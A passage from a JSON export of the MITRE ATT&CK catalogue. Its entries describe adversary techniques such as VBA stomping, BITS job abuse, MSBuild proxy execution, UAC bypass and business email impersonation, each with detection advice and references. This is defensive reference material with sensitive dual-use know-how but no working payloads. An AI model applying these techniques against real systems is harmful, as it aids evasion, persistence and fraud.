"https://attack.mitre.org/techniques/T1614"}, {"source_name": "FBI Ragnar Locker 2020", "url": "https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf", "description": "FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021."}, {"source_name": "Sophos Geolocation 2016", "url": "https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/", "description": "Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021."}, {"source_name": "Bleepingcomputer RAT malware 2020", "url": "https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/", "description": "Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021."}, {"source_name": "AWS Instance Identity Documents", "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html", "description": "Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021."}, {"source_name": "Microsoft Azure Instance Metadata 2021", "url": "https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows", "description": "Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021."}, {"source_name": "Securelist Trasparent Tribe 2020", "url": "https://securelist.com/transparent-tribe-part-1/98127/", "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021."}], "modified": "2021-10-15T22:00:56.438Z", "name": "System Location Discovery", "description": "\nAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling <code> GetLocaleInfoW</code> to gather information.(Citation: FBI Ragnar Locker 2020)\n\nMonitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Creation", "Process: OS API Execution", "Command: Command Execution"], "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Rick Cole, Mandiant"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b", "type": "attack-pattern", "created": "2020-09-17T12:51:40.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1564.007", "url": "https://attack.mitre.org/techniques/T1564/007"}, {"source_name": "FireEye VBA stomp Feb 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html", "description": "Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020."}, {"source_name": "Evil Clippy May 2019", "url": "https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/", "description": "Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020."}, {"source_name": "Microsoft _VBA_PROJECT Stream", "url": "https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239", "description": "Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020."}, {"source_name": "Walmart Roberts Oct 2018", "url": "https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278", "description": "Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping \u2014 Advanced Maldoc Techniques. Retrieved September 17, 2020."}, {"source_name": "pcodedmp Bontchev", "url": "https://github.com/bontchev/pcodedmp", "description": "Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020."}, {"source_name": "oletools toolkit", "url": "https://github.com/decalage2/oletools", "description": "decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020."}], "modified": "2021-10-15T14:02:07.944Z", "name": "VBA Stomping", "description": "Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the <code>_VBA_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)\n\nIf the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the <code>PROJECT</code> stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the <code>PROJECT</code> stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Metadata", "Script: Script Execution"], "x_mitre_permissions_required": ["User"], "x_mitre_system_requirements": ["MS Office version specified in <code>_VBA_PROJECT</code> stream must match host"]}, {"modified": "2023-04-21T12:21:40.927Z", "name": "BITS Jobs", "description": "Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["Brent Murphy, Elastic", "David French, Elastic", "Ricardo Dias", "Red Canary"], "x_mitre_deprecated": false, "x_mitre_detection": "BITS runs as a service and its status can be checked with the Sc query utility (<code>sc query bits</code>).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (<code>bitsadmin /list /allusers /verbose</code>).(Citation: Microsoft BITS)\n\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \u2018Transfer\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Command: Command Execution", "Network Traffic: Network Connection Creation", "Process: Process Creation", "Service: Service Metadata"], "x_mitre_defense_bypassed": ["Firewall", "Host forensic analysis"], "type": "attack-pattern", "id": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1197", "external_id": "T1197"}, {"source_name": "CTU BITS Malware June 2016", "description": "Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.", "url": "https://www.secureworks.com/blog/malware-lingers-with-bits"}, {"source_name": "Symantec BITS May 2007", "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.", "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update"}, {"source_name": "Elastic - Hunting for Persistence Part 1", "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.", "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1"}, {"source_name": "PaloAlto UBoatRAT Nov 2017", "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/"}, {"source_name": "Microsoft Issues with BITS July 2011", "description": "Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.", "url": "https://technet.microsoft.com/library/dd939934.aspx"}, {"source_name": "Microsoft BITS", "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.", "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx"}, {"source_name": "Microsoft BITSAdmin", "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.", "url": "https://msdn.microsoft.com/library/aa362813.aspx"}, {"source_name": "Microsoft COM", "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"}, {"source_name": "Mondok Windows PiggyBack BITS May 2007", "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.", "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-08-14T19:23:58.317Z", "name": "MSBuild", "description": "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["@ionstorm", "Carrie Roberts, @OrOneEqualsOne"], "x_mitre_deprecated": false, "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation"], "x_mitre_system_requirements": [".NET Framework version 4 or higher"], "type": "attack-pattern", "id": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96", "created": "2020-03-27T21:50:26.042Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1127/001", "external_id": "T1127.001"}, {"source_name": "LOLBAS Msbuild", "description": "LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.", "url": "https://lolbas-project.github.io/lolbas/Binaries/Msbuild/"}, {"source_name": "Microsoft MSBuild Inline Tasks 2017", "description": "Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021.", "url": "https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element"}, {"source_name": "MSDN MSBuild", "description": "Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.", "url": "https://msdn.microsoft.com/library/dd393574.aspx"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-30T19:45:05.886Z", "name": "Impersonation", "description": "Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary\u2019s ultimate goals, possibly against multiple victims. \n \nIn many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables [Financial Theft](https://attack.mitre.org/techniques/T1657).\n\nAdversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary\u2019s goal.\u202f\u202f \n \nImpersonation is typically preceded by reconnaissance techniques such as [Gather Victim Identity Information](https://attack.mitre.org/techniques/T1589) and [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591) as well as acquiring infrastructure such as email domains (i.e. [Domains](https://attack.mitre.org/techniques/T1583/001)) to substantiate their false identity.(Citation: CrowdStrike-BEC)\n \nThere is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) targeting one organization which can then be used to support impersonation against other entities.(Citation: VEC)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Pawel Partyka, Microsoft Threat Intelligence", "Blake Strom, Microsoft Threat Intelligence"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Office 365", "SaaS", "Google Workspace"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Application Log: Application Log Content"], "type": "attack-pattern", "id": "attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada", "created": "2023-08-08T15:42:18.906Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1656", "external_id": "T1656"}, {"source_name": "CrowdStrike-BEC", "description": "Bart Lenaerts-Bergmans. (2023, March 10). What is Business Email Compromise?. Retrieved August 8, 2023.", "url": "https://www.crowdstrike.com/cybersecurity-101/business-email-compromise-bec/"}, {"source_name": "VEC", "description": "CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved September 12, 2023.", "url": "https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers."}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-02T22:17:54.968Z", "name": "Modify Cloud Compute Configurations", "description": "Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim\u2019s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.\n\nFor example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim\u2019s entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy)\n\nAdversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). In Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources, or engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant.(Citation: Microsoft Peach Sandstorm 2023) This will allow the adversary to use the victim\u2019s compute resources without generating logs on the victim tenant.(Citation: Microsoft Azure Policy) (Citation: Microsoft Subscription Hijacking 2022)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Blake Strom, Microsoft Threat Intelligence", "Amir Gharib, Microsoft Threat Intelligence"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["IaaS"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Cloud Service: Cloud Service Modification"], "type": "attack-pattern", "id": "attack-pattern--ca00366b-83a1-4c7b-a0ce-8ff950a7c87f", "created": "2023-09-05T14:19:17.486Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1578/005", "external_id": "T1578.005"}, {"source_name": "Microsoft Subscription Hijacking 2022", "description": "Dor Edry. (2022, August 24). Hunt for compromised Azure subscriptions using Microsoft Defender for Cloud Apps. Retrieved September 5, 2023.", "url": "https://techcommunity.microsoft.com/t5/microsoft-365-defender-blog/hunt-for-compromised-azure-subscriptions-using-microsoft/ba-p/3607121"}, {"source_name": "Microsoft Cryptojacking 2023", "description": "Microsoft Threat Intelligence. (2023, July 25). Cryptojacking: Understanding and defending against cloud compute resource abuse. Retrieved September 5, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2023/07/25/cryptojacking-understanding-and-defending-against-cloud-compute-resource-abuse/"}, {"source_name": "Microsoft Peach Sandstorm 2023", "description": "Microsoft Threat Intelligence. (2023, September 14). Peach Sandstorm password spray campaigns enable intelligence collection at high-value targets. Retrieved September 18, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/"}, {"source_name": "Microsoft Azure Policy", "description": "Microsoft. (2023, August 30). Azure Policy built-in policy definitions. Retrieved September 5, 2023.", "url": "https://learn.microsoft.com/en-us/azure/governance/policy/samples/built-in-policies#compute"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Stefan Kanthak", "Casey Smith"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", "type": "attack-pattern", "created": "2017-05-31T21:31:07.462Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1088", "url": "https://attack.mitre.org/techniques/T1088"}, {"url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works", "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.", "source_name": "TechNet How UAC Works"}, {"url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx", "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.", "source_name": "TechNet Inside UAC"}, {"url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx", "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.", "source_name": "MSDN COM Elevation"}, {"url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html", "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.", "source_name": "Davidson Windows"}, {"url": "https://github.com/hfiref0x/UACME", "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", "source_name": "Github UACMe"}, {"url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.", "source_name": "enigma0x3 Fileless UAC Bypass"}, {"url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware", "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.", "source_name": "Fortinet Fareit"}, {"url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass", "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.", "source_name": "SANS UAC Bypass"}, {"url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/", "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.", "source_name": "enigma0x3 sdclt app paths"}, {"url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.", "source_name": "enigma0x3 sdclt bypass"}], "modified": "2020-02-05T20:08:32.863Z", "name": "Bypass User Account Control", "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command</code> Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe</code> and <code>[HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand</code> Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Windows User Account Control"], "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_effective_permissions": ["Administrator"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b", "type": "attack-pattern", "created": "2019-04-09T16:09:22.173Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1494", "url": "https://attack.mitre.org/techniques/T1494"}, {"description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", "url": "https://content.fireeye.com/apt/rpt-apt38", "source_name": "FireEye APT38 Oct 2018"}, {"source_name": "DOJ Lazarus Sony 2018", "url": "https://www.justice.gov/opa/press-release/file/1092091/download", "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."}], "modified": "2020-03-02T14:30:49.400Z", "name": "Runtime Data Manipulation", "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File 